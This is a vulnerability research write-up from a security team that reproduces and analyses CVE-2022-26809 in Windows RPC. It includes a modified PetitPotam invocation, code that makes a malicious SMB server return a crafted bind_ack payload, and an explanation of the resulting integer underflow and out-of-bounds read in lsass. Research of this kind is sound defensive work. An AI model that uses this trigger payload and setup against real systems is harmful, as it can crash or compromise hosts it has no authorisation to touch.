Recurrence and analysis of RPC high-risk Vulnerability(CVE-2022-26809)

Author: HuanGMz@Knownsec 404 Team
Chinese version: https://paper.seebug.org/1906/

1.Vulnerability introduction

It has been more than a month since the high-risk vulnerability CVE-2022-26809 was repaired in April 2022. During this period, there was no other news except that @L1nk post an analysis about trigger conditions of GetCoalescedBuffer() vulnerability function. I have analyzed the trigger logic of the ProcessReceivedPDU() vulnerability function, but I can't trigger it on the default system, and I haven't made any progress.

Until May 18, there was an article about CVE-2022-26809 vulnerability detection published on Corelight, and the article also gave the relevant Github repository, with the captured vulnerability trigger packet attached.

The article mentions that CVE-2022-26809 is in the OSF_CASSOCIATION::ProcessBindAckOrNak() function, which is a function that the client parses the bind_ack response to. L1nk and I both ignored this function at first, because we feel that the client-side vulnerability does not match the description of the "worm vulnerability", it is unlikely to be CVE-2022-26809. But actually when we call the EfsRpcDecryptFileSrv() efs rpc function of the target host, the function will initiate a bind request to the srvsvc endpoint of our malicious smb server according to the unc path we passed in. In this way, the server becomes the client and will call ProcessBindAckOrNak() to process the bind_ack packet returned by our malicious smb server.

EfsRpcDecryptFileSrv() is an rpc function in the lsass.exe process, located on the c681d488-d850-11d0-8c52-00c04fd90f7e interface, which you can access via the \pipe\lsass endpoint.

The rpc function related to efs has produced several well-known vulnerabilities such as "PetitPotam Domain Privilege Escalation" and “CVE-2021-43893 Domain Control File Write” in 2021. Although CVE-2022-26809 is not similar to these vulnerabilities in principle, but the triggering method is similar, we can completely reuse PetitPotam's script, eliminating the trouble of writing rpc client by ourselves.

It is recommended to read this article https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/ to learn about PetitPotam Vulnerability development history.

2.Vulnerability recurrence

2.1 Call the EfsRpcDecryptFileSrv() function

Use ly4k's PetitPotam script to call, github repository link: https://github.com/ly4k/PetitPotam

It should be noted that due to the CVE-2021-43893 patch in December 2021, we need to add two lines of code to the script:

Add two lines of code to the PetitPotam.Connect function (just add it before dce.connect() ):

dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

Call the PetitPotam script:

python3 petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug 'username:[email protected]' '\\192.168.33.154\srvsvc\test.txt'

192.168.33.159 is the address of the target host and 192.168.33.154 is the address of our malicious smb server. Sadly I have to use an account and password, not sure how the original poc solves the smb authentication problem.

If you use Procmon to monitor the lsass.exe process at this point, you will see that it tries to open the \\192.168.33.154\pipe\srvsvc endpoint.

2.2 Build a malicious smb server

Use the SimpleSMBServer example in impacket's smbserver.py directly:

from impacket.smbserver import SimpleSMBServer

myserver = SimpleSMBServer(listenPort=445)
myserver.start()

It is recommended to build in linux.

We need to control the response to the rpc bind request, so modify the rpcrt.py library file directly.

Find the DCERPCServer.bind() function in the rpcrt.py file, comment it directly, and then change it to the following, which is equivalent to returning a fixed bind_ack packet each time.

d = b'\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12 \x34\x00\x00'
print(d)
self._clientSock.send(d)

This string of data is also the key payload that triggers the vulnerability.

2.3 Catch crashes

Open port 445 of the target host's firewall.

Turn off the smb2 protocol:

Set-SmbServerConfiguration -EnableSMB2Protocol $false

Enable sbm1 protocol:

Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

This step is not necessary, mainly to facilitate us to capture and observe rpc data with wireshark.

Use gflags.exe to open the page heap for the lsass.exe process, and then restart the system.

Choose a way to debug lsass.exe, I use kernel debugging to prevent stuck.

Then start the malicious smb server and use the script to call the EfsRpcDecryptFileSrv() function.

Then you can catch the exception.

If it is normal, you will see in wireshark that after calling EfsRpcDecryptFileSrv(), there is a series of bind and bind_ack packets:

3. Vulnerability Analysis

The returned bind_ack data packet has two characteristics, frag_length is 0x1a, ScnDry_Addr_len is 0, and the data packet is truncated in this field.

The variable BufferLength is the length of the data packet is 0x1a, the first time BufferLength - 0x1A, the result is 0, and then because sec_addr_length is 0, it will enter the else branch, 0 - 0x1c integer underflow.

Then take sec_addr_length address + 2 + 2 , since the data packet ends at sec_addr_length, this address has actually crossed the boundary.

Another point to note: the payload we used to trigger the vulnerability uses big-endian byte order, but in fact, little-endian byte order can also trigger the vulnerability normally, so it should not matter whether the Data Representation field is 0 or 0x10.

Finally, the smb authentication issue when calling EfsRpcDecryptFileSrv() has not been resolved. Those who are good at exploiting vulnerabilities can give it a try.